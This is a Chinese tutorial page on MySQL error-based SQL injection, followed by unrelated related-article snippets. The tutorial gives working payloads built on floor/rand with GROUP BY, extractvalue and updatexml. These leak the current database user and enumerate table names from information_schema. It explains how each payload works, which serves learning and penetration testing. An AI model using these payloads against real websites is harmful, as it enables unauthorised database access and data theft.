当前位置: 首页 > news >正文

Sql注入-报错注入

报错注入(Error-Based Injection)是一种通过引起数据库报错并从错误信息中提取有用信息的SQL注入攻击手法;攻击者利用数据库在处理异常情况时返回的错误消息,来推断出数据库结构、字段名甚至数据内容;这种攻击方法依赖于数据库将详细的错误消息返回给客户端。若在测试时发现网页会回显sql相关的报错信息,那么此时就可以尝试使用错误注入这种方式进行渗透。

可以利用报错注入的前提:就是页面有错误信息显示出来、保证函数能够正确执行

如以下场景:

步骤

发现潜在的注入点:在应用程序的输入点尝试输入单引号 (') 或其他常见的SQL注入字符,以观察是否引发数据库错误。

引发错误信息:通过构造恶意SQL语句,使得数据库引发错误并返回详细错误信息。

分析错误信息:从数据库返回的错误信息中提取关于数据库结构、表名、字段名等信息。

逐步推断并获取数据:利用错误信息逐步构造更复杂的注入语句,最终获取所需数据

1、通过floor报错,注入语句如下:
(format Key) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a); [注释符]

(format Key)为注入格式,[注释符]若注入类型为字符型时需要加注释符。

假设原始查询是:

SELECT * FROM users WHERE id = $id;

将注入的部分拼接后,完整的SQL查询变成(整型注入为例子):

SELECT * FROM users WHERE id = 1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a);
语句解释:
内嵌子句:
SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x

FLOOR()函数返回小于或等于指定数值的最大整数。

 select floor(3.3);   查询到3select floor(2.1);   查询到2

RAND() 函数是SQL中的一个随机数生成函数,它返回一个0到1之间的随机浮点数。

select rand(0);    查询得到 0.15522042769493574

GROUP BY 子句在SQL中用于将具有相同值的行分组。

CONCAT(user(), FLOOR(RAND(0) *2)):将当前数据库用户(由 user() 返回)和 FLOOR(RAND(0)*2) 的结果连接成字符串。 RAND(0) 生成一个介于0和1之间的随机浮点数,乘以2后, FLOOR() 函数将其向下取整,结果可能是0或1。

GROUP BY x:按生成的字符串 x 分组。由于 RAND(0) 的结果每次调用时可能不同, FLOOR(RAND(0)*2) 的结果会在 GROUP BY 子句中引发重复值错误。

外层查询
SELECT 1 FROM ( ... ) a;

这里的 a 是内层子查询的别名,用于引用内层子查询的结果集;a 是一个别名(alias),用于给子查询的结果集命名。这有助于在外层查询中引用子查询的结果。

后续查表名:

获取第一个表名:

(format key) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 1 OFFSET 0), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a);%20 [--+]

为了读取所有表名,你可以通过逐步增加 OFFSET 值来获取每个表名。例如:

获取第二个表名:

(format key) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 1 OFFSET 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a);%20 [--+]

以此类推,读数据与读列名也是同理。

2、通过ExtractValue报错,注入语句如下:

EXTRACTVALUE 函数在 SQL 注入攻击中经常被用于报错注入,特别是在 MySQL 数据库中。它的作用是从 XML 文档中提取值。然而,当提供无效的 XML 路径时,它会生成一个错误,攻击者可以利用这个错误来获取数据库信息。

在 MySQL 中,EXTRACTVALUE 函数的基本语法如下:

EXTRACTVALUE(xml_fragment, xpath_expression)

xml_fragment:这是一个 XML 字符串。

xpath_expression:这是一个 XPath 表达式,用于指定从 XML 片段中提取值的路径。

and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

EXTRACTVALUE(1, ...)

  • EXTRACTVALUE 函数的第一个参数是无效的 XML 片段 1

  • 第二个参数是一个 XPath 表达式。这里通过 CONCAT 函数将 0x3a(十六进制的冒号字符 :)与从子查询中提取的表名连接起来。

  • CONCAT(0x3a, ...):将冒号与提取的表名连接起来,生成一个无效的 XPath 表达式。

后续读表名:
and (extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e))) 

SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE():子查询,从当前数据库中选择所有表名并用逗号连接成一个字符串。

SUBSTRING(..., 32, 31):从上述连接的字符串中提取从第32个字符开始的长度为31的子字符串。

3、通过UpdateXml报错,注入语句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

注意点:updatexml最多只能显示32位,需要配合substr/substring使用与extractvalue函数相似。

相关文章:

Sql注入-报错注入

报错注入(Error-Based Injection)是一种通过引起数据库报错并从错误信息中提取有用信息的SQL注入攻击手法;攻击者利用数据库在处理异常情况时返回的错误消息,来推断出数据库结构、字段名甚至数据内容;这种攻击方法依赖…...

pyqt 回车触发两次editingFinished的解决办法

在英文Qt论坛看到的解决办法 def editingFinished_triger(self):#self.sender() is the QlineEditif not self.sender().isModified(): returnself.sender().setModified(False)#treat code ...#treat code ...下面是一个错误使用editingFinished的例子 在上面界面中有一个文本…...

爬取股票数据python

最近在搜集数据要做分析,一般的数据来源是一手数据(生产的)和二手数据(来自其他地方的)。 今天我们爬取同花顺这个网站的数据。url为:https://data.10jqka.com.cn/ipo/xgsgyzq/ 话不多说直接上代码。有帮…...

每日新闻掌握【2024年6月4日 星期二】

2024年6月4日 星期二 农历四月廿八 TOP大新闻 张雪峰近2万元志愿填报服务已售罄 2024年高考临近,考生紧张的是考场上能否如常发挥,而考场之下,家长们已经开始为孩子的志愿填报焦心。峰学蔚来是由张雪峰打造专门提供高考志愿填报服务的APP&am…...

智谱AI 发布最新开源模型GLM-4-9B,通用能力超Llama-3-8B,多模态版本比肩GPT-4V

自 2023 年 3 月 14 日开源 ChatGLM-6B 以来,GLM 系列模型受到广泛关注和认可。特别是 ChatGLM3-6B 开源以后,开发者对智谱AI 第四代模型的开源充满期待。 为了使小模型(10B 以下)具备更加强大的能力,GLM 技术团队进行…...

从写简历到谈薪资的最全教程

从写简历到谈薪资的最全教程 目录简历注意事项举个例子写简历投递简历也有技巧模拟面试的重要性面试经验怎么刷不断迭代达越来越强斗智斗勇谈薪资拿到offer就结束了吗?我能给你的帮助 目录 大家好,我是一名普通本科毕业的学生,工作数年&#…...

Vue3 响应式API:高级函数(二)

shallowRef() shallowRef 是一个特殊的 ref 创建函数,它允许你创建一个只追踪顶层属性变化的响应式引用。与 ref 不同的是,shallowRef 创建的响应式引用对其内部值的深层嵌套属性是不敏感的,也就是说,只有当 shallowRef 的 .valu…...

『大模型笔记』什么是提示词注入(Prompt Injection)攻击?

什么是提示词注入(Prompt Injection)攻击? 文章目录 一. 什么是提示词注入(Prompt Injection)?二. 参考文献一. 什么是提示词注入(Prompt Injection)? 想花1美元买一辆新SUV吗?有人真的尝试过这样做。事实上,他们在一家特定汽车经销商的网站聊天机器人上进行了尝试。为了…...

SD-WAN与IPSec的对比

在现代企业中,随着网络环境的日益复杂,SD-WAN和IPSec作为两种关键的网络技术,各有其独特的优势和应用场景。那么,SD-WAN和IPSec究竟有什么不同?企业在不同情况下应该选择哪种技术呢? SD-WAN和IPSec的基本概…...

Ceph入门到精通-ceph经典盘符飘逸问题处理步骤

在Ceph存储系统中,"盘符飘逸"通常指的是Ceph OSD(Object Storage Daemon)使用的磁盘在系统重启后没有被正确挂载或识别。这可能是由于多种原因造成的,例如磁盘连接问题、驱动问题或配置错误。以下是解决此问题的步骤: 确认磁盘状态: 使用lsblk或fdisk -l命令来…...

【CV算法工程师必看】作为一个图像算法工程师,需要会什么,要学哪些技术栈?

作为一个图像算法工程师,除了基本的编程技能和理论知识,还需要掌握一系列的技术栈。以下是详细的技能和技术栈分类: 编程语言 Python: 主要用于快速开发和原型设计。常用库:OpenCV、Pillow、NumPy、SciPy、Scikit-image、TensorFlow、PyTorch。C++: 高性能要求的项目中广…...

【造化弄人:计算机系大学生真的象当年的高速公路收费员一样吗?】

曾经高速公路的收费员是多么的自豪和骄傲,按照常逻辑,车是越来越多,收费员应该越来越多?但现实情况,大家有目共睹! 不论你的车子怎么跑,只要上高速就要交费,那时候的收费员&#xf…...

民主测评要做些什么?

民主测评,作为一种重要的民主管理工具,旨在通过广泛征求群众意见,对特定对象或事项进行客观、公正的评价。它不仅是推动民主参与、民主监督的重要手段,也是提升治理效能、促进社会和谐的有效途径。以下将详细介绍民主测评的主要过…...

JimuReport 积木报表 v1.7.5 版本发布,免费的低代码报表

项目介绍 一款免费的数据可视化报表工具,含报表和大屏设计,像搭建积木一样在线设计报表!功能涵盖,数据报表、打印设计、图表报表、大屏设计等! Web 版报表设计器,类似于excel操作风格,通过拖拽完…...

Ubuntu安装Protobuf

以前的版本中,有./configure,所以参照下面的博客链接 Ubuntu安装Protobuf,指定版本_ubuntu更新protobuf-CSDN博客 后来的版本中,没有了./configure文件,需要安装bazel,参照下面的官网链接 protobuf/src/README.md a…...

揭秘Lazada API:掌握数据驱动的电商帝国,轻松实现销售飞跃

当涉及到Lazada API接口的技术帖子时,通常我们需要了解如何与Lazada的API进行交互,以执行各种操作,如获取产品信息、处理订单、管理库存等。由于Lazada的API是私有的并且需要特定的认证和访问权限,以下是一个简化的示例&#xff0…...

ThinkPHP发邮件配置教程?群发功能安全吗?

ThinkPHP发邮件的注意事项?如何优化邮件发送的性能? 无论是用户注册、密码重置还是消息提醒,发送邮件都是一个常见的需求。AokSend将详细介绍如何在ThinkPHP框架中配置和发送邮件,帮助开发者轻松实现邮件功能。 ThinkPHP发邮件&…...

编译和安装OpenMediaVault(OMV)NAS

下载OMV源码: git clone --depth1 https://github.com/openmediavault/openmediavault.git 安装编译环境: cd openmediavault/ ./buildenvadm.sh -h ./buildenvadm.sh install 这里会安装一堆编译OMV需要的工具。 如果编译过程中报dh命令找不到的错误&a…...

Java【问题 07】SSH不同版本使用jsch问题处理(7.4升级9.7及欧拉原生8.8)

SSH不同版本使用jsch问题处理 1.问题一2.问题二2.1 说明2.2 解决 3.问题三 1.问题一 # 1.系统 cat /etc/os-release # 系统信息 NAME"openEuler" VERSION"22.03 (LTS-SP1)" ID"openEuler" VERSION_ID"22.03" PRETTY_NAME"openEu…...

k8s和deepflow部署与测试

Ubuntu-22-LTS部署k8s和deepflow 环境详情: Static hostname: k8smaster.example.net Icon name: computer-vm Chassis: vm Machine ID: 22349ac6f9ba406293d0541bcba7c05d Boot ID: 605a74a509724a88940bbbb69cde77f2 Virtualization: vmware Operating System: U…...

Docker 离线安装指南

参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性,不同版本的Docker对内核版本有不同要求。例如,Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本,Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...

(二)TensorRT-LLM | 模型导出(v0.20.0rc3)

0. 概述 上一节 对安装和使用有个基本介绍。根据这个 issue 的描述,后续 TensorRT-LLM 团队可能更专注于更新和维护 pytorch backend。但 tensorrt backend 作为先前一直开发的工作,其中包含了大量可以学习的地方。本文主要看看它导出模型的部分&#x…...

06 Deep learning神经网络编程基础 激活函数 --吴恩达

深度学习激活函数详解 一、核心作用 引入非线性:使神经网络可学习复杂模式控制输出范围:如Sigmoid将输出限制在(0,1)梯度传递:影响反向传播的稳定性二、常见类型及数学表达 Sigmoid σ ( x ) = 1 1 +...

Rapidio门铃消息FIFO溢出机制

关于RapidIO门铃消息FIFO的溢出机制及其与中断抖动的关系,以下是深入解析: 门铃FIFO溢出的本质 在RapidIO系统中,门铃消息FIFO是硬件控制器内部的缓冲区,用于临时存储接收到的门铃消息(Doorbell Message)。…...

【生成模型】视频生成论文调研

工作清单 上游应用方向:控制、速度、时长、高动态、多主体驱动 类型工作基础模型WAN / WAN-VACE / HunyuanVideo控制条件轨迹控制ATI~镜头控制ReCamMaster~多主体驱动Phantom~音频驱动Let Them Talk: Audio-Driven Multi-Person Conversational Video Generation速…...

基于Java Swing的电子通讯录设计与实现:附系统托盘功能代码详解

JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用,结合SQLite数据库实现联系人管理功能,并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能,同时可以最小化到系统…...

群晖NAS如何在虚拟机创建飞牛NAS

套件中心下载安装Virtual Machine Manager 创建虚拟机 配置虚拟机 飞牛官网下载 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-0.9.2-863.iso 群晖NAS如何在虚拟机创建飞牛NAS - 个人信息分享...

适应性Java用于现代 API:REST、GraphQL 和事件驱动

在快速发展的软件开发领域,REST、GraphQL 和事件驱动架构等新的 API 标准对于构建可扩展、高效的系统至关重要。Java 在现代 API 方面以其在企业应用中的稳定性而闻名,不断适应这些现代范式的需求。随着不断发展的生态系统,Java 在现代 API 方…...

windows系统MySQL安装文档

概览:本文讨论了MySQL的安装、使用过程中涉及的解压、配置、初始化、注册服务、启动、修改密码、登录、退出以及卸载等相关内容,为学习者提供全面的操作指导。关键要点包括: 解压 :下载完成后解压压缩包,得到MySQL 8.…...

嵌入式常见 CPU 架构

架构类型架构厂商芯片厂商典型芯片特点与应用场景PICRISC (8/16 位)MicrochipMicrochipPIC16F877A、PIC18F4550简化指令集,单周期执行;低功耗、CIP 独立外设;用于家电、小电机控制、安防面板等嵌入式场景8051CISC (8 位)Intel(原始…...